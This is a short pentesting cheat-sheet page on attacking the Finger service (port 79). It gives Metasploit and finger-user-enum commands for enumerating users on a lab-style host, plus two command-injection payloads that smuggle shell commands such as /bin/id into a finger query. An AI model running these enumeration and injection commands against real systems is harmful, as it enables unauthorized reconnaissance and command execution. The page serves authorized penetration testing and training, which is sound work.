# Finger Pentesting (Port 79)

Source: https://pentest.h4rithd.com/tcp/79-finger/  
Section: TCP  
Ports: 79  
Updated: 2026-05-30  
Author: Harith Dilshan (h4rithd), https://h4rithd.com

* Using msf

```bash
use auxiliary/scanner/finger/finger_users
set RHOSTS 10.10.10.76
run
```

* [finger-user-enum](https://github.com/pentestmonkey/finger-user-enum)

```bash
# Install
git clone https://github.com/pentestmonkey/finger-user-enum.git ; cd cd finger-user-enum ; ls -al    

# Run
./finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt -t 10.10.10.76 | less -S  
./finger-user-enum.pl -u root -t 10.10.10.76 | less -S  
```

* Command Injection.

```bash
finger "|/bin/id@<IP>"
finger "|/bin/ls -a /<IP>"
```